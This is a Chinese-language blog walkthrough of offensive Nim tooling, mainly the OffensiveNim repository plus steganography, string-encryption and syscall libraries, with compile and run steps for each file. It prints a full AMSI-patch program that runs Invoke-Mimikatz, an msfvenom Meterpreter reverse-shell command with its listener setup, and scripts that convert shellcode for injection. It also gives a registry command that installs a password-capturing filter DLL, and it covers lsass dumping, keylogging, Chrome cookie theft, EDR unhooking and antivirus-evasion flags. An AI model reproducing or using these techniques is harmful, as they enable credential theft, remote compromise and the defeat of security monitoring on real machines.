项目列表
•OffensiveNim•steganography•nim-strenc•Nim-RunPE•NimGetSyscallStub•Nim_CBT_Shellcode•nimcrypto•winim•NimlineWhispers3•zippy•nuglifier•tiny_sqlite
OffensiveNim
该项目是S3cur3Th1sSh1t大佬开发的,项目当中的每个文件都可以单独编译,并且文件名字标识了这份代码起到的作用。
pop_bin.nim
作用
直接调用MessageBoxA弹窗,但需要自己定义系统api函数调用的数据类型
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/pop_bin64.exe srcpop_bin.nim
运行
pop_winim_bin.nim
作用
通过winim调用windows api,减少需要编写的nim代码
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/pop_winim_bin64.exe srcpop_winim_bin.nim
运行
pop_winim_lib.nim
作用
通过winim库调用windows系统API,并且编译DLL动态链接库,导出函数为DllMain
编译
nim cc --app=lib --nomain --cpu=amd64 -d:release -d:strip --out=bin/pop_winim_lib64.dll srcpop_winim_lib.nim
运行
rundll32 binpop_winim_lib64.dll DllMain
execute_assembly_bin.nim
作用
通过winim调用CLR API,内存执行.net assembly
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/execute_assembly_bin64.exe srcexecute_assembly_bin.nim
运行
clr_host_cpp_embed_bin.nim
作用
嵌入C++代码,通过C++调用系统API函数加载CLR环境运行.net程序
编译
nim cpp --app=console --cpu=amd64 -d:release -d:strip --out=bin/clr_host_cpp_embed_bin64.exe srcclr_host_cpp_embed_bin.nim
运行
scshell_c_embed_bin.nim
作用
将scshell的C代码嵌入到nim程序当中编译,实现快速“加壳”,或许可以绕过一些杀软检测
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/scshell_c_embed_bin64.exe srcscshell_c_embed_bin.nim
运行
fltmc_bin.nim
作用
枚举系统上所有的Minifilter驱动
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/fltmc_bin64.exe srcfltmc_bin.nim
运行
blockdlls_acg_ppid_spoof_bin.nim
作用
以suspended状态创建一个进程,并将该进程的父进程PID指向explorer.exe(PPID Spoofing),并且开启BlockDLL(禁止非系统DLL加载进进程,防注入)和ACG(保护进程代码不被修改,防hook)
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/blockdlls_acg_ppid_spoof_bin64.exe srcblockdlls_acg_ppid_spoof_bin.nim
运行
这里在taskbar里面没有看到suspened状态的notepad.exe程序,所以修改下原来的代码,以常规CreationFlag启动程序。
编译后再次运行
测试利用frida注入notepad.exe进程,然后枚举当前进程加载的模块列表,这里使用开源项目https://github.com/poxyran/misc
查看当前notepad进程当中加载的DLLModule name: notepad.exe - Base Address: 0x7ff6a9500000
可以看到上面第45行显示frida-agent.dll,证明成功注入notepad.exe进程当中非微软签名的DLL。。。这个问题有知道为什么可以注入成功的师傅可以私聊我回复笔者下,笔者后面花时间研究下为什么这里会注入成功。
Module name: ntdll.dll - Base Address: 0x7ffba8990000
Module name: KERNEL32.DLL - Base Address: 0x7ffba82f0000
Module name: KERNELBASE.dll - Base Address: 0x7ffba5d00000
Module name: apphelp.dll - Base Address: 0x7ffba3350000
Module name: ADVAPI32.dll - Base Address: 0x7ffba8580000
Module name: msvcrt.dll - Base Address: 0x7ffba6a30000
Module name: sechost.dll - Base Address: 0x7ffba63d0000
Module name: RPCRT4.dll - Base Address: 0x7ffba8450000
Module name: GDI32.dll - Base Address: 0x7ffba83b0000
Module name: gdi32full.dll - Base Address: 0x7ffba52c0000
Module name: USER32.dll - Base Address: 0x7ffba6c70000
Module name: win32u.dll - Base Address: 0x7ffba5440000
Module name: combase.dll - Base Address: 0x7ffba5f60000
Module name: ucrtbase.dll - Base Address: 0x7ffba5110000
Module name: bcryptPrimitives.dll - Base Address: 0x7ffba5460000
Module name: OLEAUT32.dll - Base Address: 0x7ffba8630000
Module name: msvcp_win.dll - Base Address: 0x7ffba54d0000
Module name: COMDLG32.dll - Base Address: 0x7ffba86f0000
Module name: shcore.dll - Base Address: 0x7ffba5210000
Module name: SHLWAPI.dll - Base Address: 0x7ffba6c10000
Module name: SHELL32.dll - Base Address: 0x7ffba6de0000
Module name: cfgmgr32.dll - Base Address: 0x7ffba5cb0000
Module name: windows.storage.dll - Base Address: 0x7ffba55d0000
Module name: powrprof.dll - Base Address: 0x7ffba4e20000
Module name: kernel.appcore.dll - Base Address: 0x7ffba4e70000
Module name: profapi.dll - Base Address: 0x7ffba4e00000
Module name: COMCTL32.dll - Base Address: 0x7ffb97510000
Module name: FeClient.dll - Base Address: 0x7ffb9b110000
Module name: PROPSYS.dll - Base Address: 0x7ffba0ff0000
Module name: WINSPOOL.DRV - Base Address: 0x7ffb8dc50000
Module name: urlmon.dll - Base Address: 0x7ffb9cb00000
Module name: bcrypt.dll - Base Address: 0x7ffba49e0000
Module name: iertutil.dll - Base Address: 0x7ffb9c850000
Module name: IMM32.DLL - Base Address: 0x7ffba5f20000
Module name: uxtheme.dll - Base Address: 0x7ffba3660000
Module name: MSCTF.dll - Base Address: 0x7ffba68d0000
Module name: dwmapi.dll - Base Address: 0x7ffba2de0000
Module name: clbcatq.dll - Base Address: 0x7ffba6330000
Module name: efswrt.dll - Base Address: 0x7ffb87460000
Module name: MPR.dll - Base Address: 0x7ffb9bbd0000
Module name: wintypes.dll - Base Address: 0x7ffba2690000
Module name: twinapi.appcore.dll - Base Address: 0x7ffba3900000
Module name: CRYPTBASE.DLL - Base Address: 0x7ffba48f0000
Module name: frida-agent.dll - Base Address: 0x7ffb7e400000
Module name: CRYPT32.dll - Base Address: 0x7ffba4f40000
Module name: MSASN1.dll - Base Address: 0x7ffba4e80000
Module name: ole32.dll - Base Address: 0x7ffba6ad0000
Module name: WS2_32.dll - Base Address: 0x7ffba62c0000
Module name: DNSAPI.dll - Base Address: 0x7ffba44f0000
Module name: PSAPI.DLL - Base Address: 0x7ffba83a0000
Module name: NSI.dll - Base Address: 0x7ffba6430000
Module name: IPHLPAPI.DLL - Base Address: 0x7ffba4450000
Module name: WINMM.dll - Base Address: 0x7ffba2040000
Module name: WINMMBASE.dll - Base Address: 0x7ffba2000000
named_pipe_client_bin.nim && named_pipe_server_bin.nim
作用
利用命名管道进行进程间通信。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/named_pipe_client_bin64.exe srcnamed_pipe_client_bin.nim
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/named_pipe_server_bin64.exe srcnamed_pipe_server_bin.nim
运行
首先启动server端,server端创建命名管道,并等待client端连接。
再启动client端
客户端读取完成后退出,服务端也退出。
embed_rsrc_bin.nim
作用
通过slurp嵌入压缩包到资源节中,转换为string后在运行期间解压使用。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/embed_rsrc_bin64.exe srcembed_rsrc_bin.nim
运行
运行提示文件存在,修改下源码重新编译,再次运行。
查看文件是否存在和文件内容。
秘密是:https://www.youtube.com/watch?v=sT-mlWm_mag
self_delete_bin.nim
作用
通过将自身重命名为文件流实现自删除。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/self_delete_bin64.exe srcself_delete_bin.ni
运行
查看bin目录,是否有self_delete_bin64.exe
可以发现程序已经自删除。
encrypt_decrypt_bin.nim
作用
使用nimcrypto库对数据进行AES256 CTR加解密。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/encrypt_decrypt_bin64.exe srcencrypt_decrypt_bin.nim
运行
amsi_patch_bin.nim && execute_powershell_bin.nim
作用
通过inlinehook AmsiScanBuffer函数绕过amsi检测。
通过CLR调用运行powershell脚本。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/amsi_patch_bin64.exe srcamsi_patch_bin.nim
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/execute_powershell_bin64.exe srcexecute_powershell_bin.nim
运行
在windows defender的环境下测试amsi patch效果。首先运行"Invoke-Mimikatz"。
提示检测到恶意内容,已被杀软拦截。
结合两份代码,在amsi patch完成后,通过CLR运行powershell代码,查看效果。```python #[ Author: Marcello Salvati, Twitter: @byt3bl33d3r License: BSD 3-Clause
]#
import winim/lean import strformat import dynlib import winim/clr import sugar
when defined amd64: echo "[] Running in x64 process" const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3] elif defined i386: echo "[] Running in x86 process" const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00]
proc PatchAmsi(): bool = var amsi: LibHandle cs: pointer op: DWORD t: DWORD disabled: bool = false
# loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows
# it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim)
amsi = loadLib("amsi")
if isNil(amsi):
echo "[X] Failed to load amsi.dll"
return disabled
cs = amsi.symAddr("AmsiScanBuffer") # equivalent of GetProcAddress()
if isNil(cs):
echo "[X] Failed to get the address of 'AmsiScanBuffer'"
return disabled
if VirtualProtect(cs, patch.len, 0x40, addr op):
echo "[*] Applying patch"
copyMem(cs, unsafeAddr patch, patch.len)
VirtualProtect(cs, patch.len, op, addr t)
disabled = true
return disabled
when isMainModule: var success = PatchAmsi() echo fmt"[] AMSI disabled: {bool(success)}" echo "[] Start Run Powershell "Invoke-Mimikatz"." var Automation = load("System.Management.Automation") #dump Automation var RunspaceFactory = Automation.GetType("System.Management.Automation.Runspaces.RunspaceFactory") #dump RunspaceFactory
var runspace = @RunspaceFactory.CreateRunspace()
#dump runspace
runspace.Open()
var pipeline = runspace.CreatePipeline()
#dump pipeline
pipeline.Commands.AddScript("echo "Invoke-Mimikatz"")
#pipeline.Commands.Add("Out-String")
var results = pipeline.Invoke()
for i in countUp(0,results.Count()-1):
echo results.Item(i)
#dump results
echo results.isType()
var t = results.GetType()
#dump t
discard readLine(stdin)
#echo t.isType()
#echo t.unwrap.vt
runspace.Close()
编译
```bash
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/amsi_patch_execute_powershell_bin64.exe srcamsi_patch_execute_powershell_bin.nim
运行
可以看到成功绕过了杀软对恶意内容的检测。
etw_patch_bin.nim
作用
通过inlinehook EtwEventWrite函数绕过ETW日志记录。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/etw_patch_bin64.exe srcetw_patch_bin.nim
运行
wmiquery_bin.nim
作用
通过wmi查询安装的杀软和正在运行的进程。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/wmiquery_bin64.exe srcwmiquery_bin.nim
运行
out_compressed_dll_bin.nim
作用
将.net模块压缩base64编码转换为powershell代码进行加载。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/out_compressed_dll_bin64.exe srcout_compressed_dll_bin.nim
编译提示函数参数类型错误,可能是nim版本太高,不兼容的问题,这里进行修改后再次编译。
运行
dynamic_shellcode_local_inject_bin.nim
作用
动态注入到自身并执行shellcode。
编译
首先msfvenom生成64位反弹shellcode。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.153 LPORT=4444 -f raw -o payload.bin
使用以下py代码将payload.bin文件内容转换为数组格式并替换源文件。
import sys
def bin2byte_array(data):
if len(data) <= 16:
byte_array = ','.join(['0x%02x' % i for i in data])
else:
byte_array = ''
for i in range(len(data) // 16):
byte_array += ','.join(['0x%02x' % data[k] for k in range(i*16, (i+1)*16)]) + ',n'
if len(data) % 16 != 0:
byte_array += ','.join(['0x%02x' % data[k] for k in range(len(data) - len(data) % 16, len(data))])
return '[byte %s]' % byte_array.strip(',n')
if __name__ == '__main__':
if len(sys.argv) != 2:
print('usage:%s <bin>' % __file__)
else:
with open(sys.argv[1], 'rb') as f:
data = f.read()
print(bin2byte_array(data))
print('length: %d' % len(data))
编译程序
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/dynamic_shellcode_local_inject_bin64.exe srcdynamic_shellcode_local_inject_bin.nim
运行
启动MSF listener。
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.111.153
set LPORT 4444
exploit -j
运行程序。
MSF控制台显示有session回连。
切换到session。
shellcode_callback_bin.nim
作用
通过回调函数触发shellcode执行。
编译
首先替换shellcode为MSF reverse_tcp的shellcode。
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/shellcode_callback_bin64.exe srcshellcode_callback_bin.nim
运行
MSF控制台收到session。
shellcode_bin.nim
作用
以suspended状态创建傀儡进程,并通过创建远程线程的方式注入shellcode。
编译
替换代码中的shellcode部分。
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/shellcode_bin64.exe srcshellcode_bin.nim
运行
MSF控制台收到session。
shellcode_fiber.nim
作用
通过创建纤程(fiber)执行shellcode。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/shellcode_fiber64.exe srcshellcode_fiber.nim
运行
shellcode_inline_asm_bin.nim
作用
通过在nim代码中内敛汇编存放shellcode。
编译
使用以下py代码生成shellcode数组替换shellcode部分。
import sys
def bin2byte_array(data):
return '.byte %s' % ','.join(['0x%02x' % i for i in data])
if __name__ == '__main__':
if len(sys.argv) != 2:
print('usage:%s <bin>' % __file__)
else:
with open(sys.argv[1], 'rb') as f:
data = f.read()
print(bin2byte_array(data))
print('length: %d' % len(data))
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/shellcode_inline_asm_bin64.exe srcshellcode_inline_asm_bin.nim
运行
syscalls_bin.nim
作用
通过direct syscall调用绕过EDR hook执行shellcode。
但作者并没有实现代码,而实现的是获取64位程序的TEB。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/syscall_bin64.exe srcsyscalls_bin.nim
运行
passfilter_lib.nim
作用
注册密码修改回调函数,安装之后记录修改的密码到文件中。
编译
nim cpp --app=lib --nomain --cpu=amd64 -d:release -d:strip --out=bin/passfilter_lib64.dll srcpassfilter_lib.nim
运行
首先需要用作者提供的一个安装脚本,但那个github仓库被删除了,用下面的链接获取安装脚本
https://github.com/brownbelt/defcon-25-workshop/blob/master/src/passfilter/passfilter.bat
根据当前路径修改为正确的脚本,如下
copy "binpassfilter_lib64.dll" "%WINDIR%system32passfilter.dll" /y
reg.exe add "HKLMSYSTEMCurrentControlSetControlLsa" /v "Notification Packages" /d "scecli""passfilter" /t REG_MULTI_SZ /f
pause
执行安装注册。
修改密码测试,没有测试成功。
minidump_bin.nim
作用
dump lsass进程内存。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/minidump_bin64.exe srcminidump_bin.nim
运行
http_request_bin.nim
作用
nim语言的http请求,通过httpclient和com接口两种方式实现。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip -d:ssl --out=bin/http_request_bin64.exe srchttp_request_bin.nim
运行
execute_sct_bin.nim
作用
通过COM组件GetObject不落地执行sct文件。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/execute_sct_bin64.exe srcexecute_sct_bin.nim
运行
远端测试sct文件内容
<?XML version="1.0"?>
<scriptlet>
<registration
description="Component"
progid="Component.TESTCB"
version="1.00"
classid="{20002222-0000-0000-0000-000000000002}"
>
</registration>
<public>
<method name="exec">
</method>
</public>
<script language="JScript">
<![CDATA[
function exec(){
new ActiveXObject('WScript.Shell').Run('calc.exe');
}
]]>
</script>
</scriptlet>
scriptcontrol_bin.nim
作用
通过MSScriptControl动态执行VBScript和JScript,仅支持32位程序。
编译
nim cc --app=console --cpu=i386 -d:release -d:strip --out=bin/scriptcontrol_bin32.exe srcscriptcontrol_bin.nim
运行
excel_com_bin.nim
作用
通过Excel COM组件和宏代码注入shellcode,需要本机有安装excel。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/excel_com_bin64.exe srcexcel_com_bin.nim
运行
执行失败
keylogger_bin.nim
作用
通过函数SetWindowsHookEx设置窗口钩子实现键盘记录器。r
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/keylogger_bin64.exe srckeylogger_bin.nim
运行
在其他cmd窗口输入123并回车,可以看到已被键盘记录器捕获
uuid_exec_bin.nim
作用
将shellcode转换成uuid数组形式,并通过EnumSystemLocalesA回调函数执行shellcode。
编译
使用以下py代码将shellcode转换成uuid数组形式。
import uuid, sys
def bin2uuid_array(data):
if len(data) <= 16:
uuid_array = '"%s"' % str(uuid.UUID(bytes_le=(data + (16 - len(data)) * b'x00')))
else:
uuid_array = ''
for i in range(len(data) // 16):
uuid_array += '"%s"' % str(uuid.UUID(bytes_le=data[i*16:(i+1)*16])) + ',n'
if len(data) % 16 != 0:
uuid_array += '"%s"' % str(uuid.UUID(bytes_le=(data[(len(data) - len(data) % 16):] + (16 - len(data) % 16) * b'x00')))
return '[%s]' % uuid_array.strip(',n')
if __name__ == '__main__':
if len(sys.argv) != 2:
print('usage:%s <bin>' % __file__)
else:
with open(sys.argv[1], 'rb') as f:
data = f.read()
uuid_array = bin2uuid_array(data)
print(uuid_array)
print("uuid array size: %d" % len(uuid_array.split(',')))
替换代码当中的uuid数组,编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/uuid_exec_bin64.exe srcuuid_exec_bin.nim
运行
unhookc.nim
作用
通过嵌入C代码实现unhook ntdll绕过EDR/AV检测。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --passL:-lpsapi --out=bin/unhookc64.exe srcunhookc.nim
运行
unhook.nim
作用
纯nim代码实现unhook ntdll绕过EDR/AV检测。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/unhook64.exe srcunhook.nim
运行
taskbar_ewmi_bin.nim
作用
将shellcode注入进程管理器(TaskBar)进程。
编译
nim cpp --app=console --cpu=amd64 -d:release -d:strip --out=bin/taskbar_ewmi_bin64.exe srctaskbar_ewmi_bin.nim
运行
但MSF Console没有收到session。
fork_dump_bin.nim
作用
滥用fork机制dump lsass进程得内存。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/fork_dump_bin64.exe srcfork_dump_bin.nim
运行
运行结果没有返回成功。
ldap_query_bin.nim
作用
通过COM组件调用查询ldap。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/ldap_query_bin64.exe srcldap_query_bin.nim
运行
运行结果报错。
sandbox_process_bin.nim
作用
对指定进程进行降权处理,例如降权Windows Defender进程,使其保护失效。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/sandbox_process_bin64.exe srcsandbox_process_bin.nim
运行
给运行在特权提升权限下的cmd.exe降权
list_remote_shares.nim
作用
通过NetShareEnum api列举远程服务器上得共享目录(域内环境)。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/list_remote_shares64.exe srclist_remote_shares.nim
运行
chrome_dump_bin.nim
作用
解密chrome的cookie数据库,列举所有保存的cookie信息。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/chrome_dump_bin64.exe srcchrome_dump_bin.nim
运行
suspended_thread_injection.nim
作用
首先创建进程,再设置进程状态为suspened,最后注入shellcode到主线程后恢复执行。
编译
nim cc --app=console --cpu=amd64 -d:release -d:strip --out=bin/suspended_thread_injection64.exe srcsuspended_thread_injection.nim
运行
steganography
简介
nim代码实现的图片隐写程序,可用于payload隐藏。支持PNG、BMP、QOI、PPM格式的图片隐写。
使用
测试代码
隐写数据到png图片
import steganography, pixie
var image = readImage("steganographyLogo.png")
encodeMessage(image, "Hello world this is really cool")
image.writeFile("steganographyLogoEncoded.png")
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:steganography_encode64.exe steganography_encode.nim
读取png图片当中隐写的数据
import steganography, pixie
var image = readImage("steganographyLogoEncoded.png")
echo decodeMessage(image)
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:steganography_decode64.exe steganography_decode.nim
运行
nim-strenc
简介
通过宏使用随机密钥异或加密nim代码中的字符串,可用于避免敏感字符串特征。
使用
测试代码
echo "Mimikatz Fantastic Baby!!!"
保存到test2.nim,使用以下命令编译
nim cc -d:strip -d:release --app=console --cpu=amd64 --out=bin/test2.exe test2.nim
运行
strings查看文件当中字符串信息。
此时字符串在文件当中以明文存储。
下面引入nim-strenc库,重新编译测试。
import strenc
echo "Mimikatz Fantastic Baby!!!"
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:bin/test2.exe test2.nim
运行看能否正常运行
strings匹配字符串
可以看到,已经成功将字符串混淆。
Nim-RunPE
简介
无文件内存执行exe,可用于简单压缩壳模板。
使用
首先编译
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:NimRunPE.exe NimRunPE.nim
执行
可以看到内存加载clac.exe成功
NimGetSyscallStub
简介
通过读取ntdll.dll,获得干净的syscall stub指令并用RWX内存存储,最后调用干净的syscall函数实现direct syscall注入到notepad傀儡进程当中。
使用
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:ShellcodeInject64.exe ShellcodeInject.nim
Nim_CBT_Shellcode
简介
通过windows 的各种回调触发shellcode执行,这里用到的回调有:CertEnumSystemStore、CertEnumSystemStoreLocation、CopyFileExW、CopyFile2、EnumChildWindows、EnumDesktopWindows、EnumPageFilesW、EnumSystemGeoID、ImageGetDigestStream、SymEnumProcesses
使用
CertEnumSystemStore
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:CBT_Cert_EnumSystemStore64.exe CBT_Cert_EnumSystemStore.nim
CertEnumSystemStoreLocation
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:CBT_Cert_EnumSystemStoreLocation64.exe CBT_Cert_EnumSystemStoreLocation.nim
CopyFileExW
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:CBT_Copy_FileExW64.exe CBT_Copy_FileExW.nim
CopyFile2
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:CBT_Copy264.exe CBT_Copy2.nim
EnumChildWindows
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:CBT_Enum_ChildWindows64.exe CBT_Enum_ChildWindows.nim
EnumDesktopWindows
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:CBT_Enum_DesktopWindows64.exe CBT_Enum_DesktopWindows.nim
EnumPageFilesW
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:CBT_Enum_PageFilesW64.exe CBT_Enum_PageFilesW.nim
EnumSystemGeoID
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:CBT_Enum_SystemGeoID64.exe CBT_Enum_SystemGeoID.nim
ImageGetDigestStream
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:CBT_Image_GetDigestStream64.exe CBT_Image_GetDigestStream.nim
SymEnumProcesses
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:CBT_Sym_EnumProcesses64.exe CBT_Sym_EnumProcesses.nim
nimcrypto
简介
nim实现的AES加密库
使用
在nimcrypto的examples目录下,有nimcrypto支持的所有AES加密方法,分别是CBC、CFB、CTR、ECB、GCM、OFB
CBC代码测试
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:cbc64.exe cbc.nim
CFB代码测试
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:cfb64.exe cfb.nim
CTR代码测试
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:ctr64.exe ctr.nim
ECB代码测试
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:ecb64.exe ecb.nim
GCM代码测试
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:gcm64.exe gcm.nim
OFB代码测试
nim cc -d:strip -d:release --hints:off --app:console --cpu:amd64 --out:ofb64.exe ofb.nim
winim
简介
winim包含windows api函数定义、结构体定义、常量定义,并且兼容.net 3.6.0以上。使用nim开发windows平台的红队工具winim是核心组件。
使用
offensive-nim仓库的大部分例子都是调用的winim。
NimlineWhispers3
简介
nim版本的SysWhispers3,兼容x64、x86、wow64。
用途
用于生成direct syscall的指令,程序当中通过syscall绕过edr hook的监控。
zippy
简介
nim代码实现的deflate、zlib、gzip格式的压缩文件处理。
用途
对数据进行压缩,减小文件体积
nuglifier
简介
用于将nim源码混淆的库
用途
混淆nim代码
tiny-sqlite
简介
nim语言实现的sqlite数据库读写库
用途
存储结构化数据到sqlite数据库中
编译命令
•--opt:size 这个编译选项会对生成的文件进行压缩,但压缩方式就是nim会用它自己实现的压缩壳对代码压缩,不推荐使用,因为已经被国外杀软标记•--passc=-flto --passl=-flto 添加这个编译选项也会减少生成文件的体积,并且没有被杀软标记•--passL:-Wl,--dynamicbase 由于nim默认编译生成的exe是没有重定位表的,这在exe加壳的时候会产生影响,所以可以用这个编译选项指定生成重定位表•-static 当使用cpp即g++编译nim程序时,需要指定添加该编译选项告诉链接器静态链接libc++库,否则编译的文件在其他机器执行会报错提示缺少依赖库
参考文献
•https://web.archive.org/web/20210117002945/https://secbytes.net/Implant-Roulette-Part-1:-Nimplant•https://github.com/byt3bl33d3r/OffensiveNim#README.md
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论